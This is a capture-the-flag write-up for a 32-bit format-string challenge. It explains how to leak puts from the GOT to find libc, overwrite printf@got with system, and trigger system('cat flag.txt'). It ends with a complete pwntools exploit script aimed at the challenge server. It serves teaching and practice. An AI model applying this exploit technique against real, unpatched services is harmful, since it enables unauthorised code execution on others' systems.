$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: a 32-bit service printed user input directly with printf and exposed two format-string sinks in a loop. Solution: leak puts from the GOT to recover libc, overwrite printf@got with system, then trigger the second sink with `cat flag.txt`.
"We're using a new %format for the TPS reports. Did you get my memo?"
English summary: the service asks for an office design string and later asks whether you want to redesign. User-controlled data is printed with printf without a format string, giving a format string vulnerability that can be used to leak libc and overwrite the GOT.
Service:
nc brick-city-office-space.pwn.ctf.umasscybersec.org 45001
The binary is a 32-bit ELF (i386), dynamically linked, and not stripped.
checksec showed:
RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE
These properties are ideal for a classic GOT overwrite:
Important addresses from the binary:
vuln = 0x80491d6 main = 0x80493db puts@got = 0x804bbbc printf@got = 0x804bbb0
Important offsets from the provided libc.so.6:
puts = 0x732a0 system = 0x48170
The stack offset for our format string was 4. A probe such as AAAA.%1$p.%2$p.%3$p.%4$p revealed 0x41414141 at %4$p, so attacker-controlled bytes placed at the start of the input are read as the 4th format argument.
The real bug is a format string vulnerability: user input is passed directly to printf.
There are two useful printf(user_input) paths inside vuln():
y or n, it enters a This is what you said: branch and prints that invalid response with printf(buffer).That gives two separate stages in one execution:
printfBecause printf@got is writable and the program later calls printf on attacker-controlled input again, replacing printf@got with system turns a later printf(buffer) into system(buffer).
puts from the GOTOn the first prompt, send:
p32(puts_got) + b'.%4$s.END'
Why it works:
puts@got%4$s dereferences the 4th stack argument as a pointer to a stringprintf reads bytes from puts@gotputs in libcThen compute:
libc_base = puts_addr - libc.symbols["puts"] system_addr = libc_base + libc.symbols["system"]
Reply with y so the program asks for another office design. This gives a second chance to exploit the same format string primitive after the libc base is known.
printf@got with systemUse pwntools to build the write:
fmtstr_payload(4, {printf_got: system_addr}, write_size="short")
write_size="short" is convenient on 32-bit targets because it writes the 4-byte address as two 2-byte chunks.
system("cat flag.txt")When the binary asks:
Would you like to redesign? (y/n)
send:
cat flag.txt
This is intentionally invalid input, so the program enters the This is what you said: branch and calls printf(buffer). After the GOT overwrite, that call becomes:
system("cat flag.txt")
which prints the flag.
#!/usr/bin/env python3 from pwn import * HOST = "brick-city-office-space.pwn.ctf.umasscybersec.org" PORT = 45001 elf = ELF("./BrickCityOfficeSpace") libc = ELF("./libc.so.6") def main(): io = remote(HOST, PORT) io.recvuntil(b"BrickCityOfficeSpace> ") leak_payload = p32(elf.got["puts"]) + b".%4$s.END" io.sendline(leak_payload) out = io.recvuntil(b"Would you like to redesign? (y/n)\n") marker = p32(elf.got["puts"]) + b"." start = out.index(marker) + len(marker) end = out.index(b".END", start) puts_addr = u32(out[start:end][:4]) libc.address = puts_addr - libc.symbols["puts"] system_addr = libc.symbols["system"] io.sendline(b"y") io.recvuntil(b"BrickCityOfficeSpace> ") overwrite = fmtstr_payload(4, {elf.got["printf"]: system_addr}, write_size="short") io.sendline(overwrite) io.recvuntil(b"Would you like to redesign? (y/n)\n") io.sendline(b"cat flag.txt") print(io.recvall(timeout=2).decode("latin-1", errors="replace")) if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar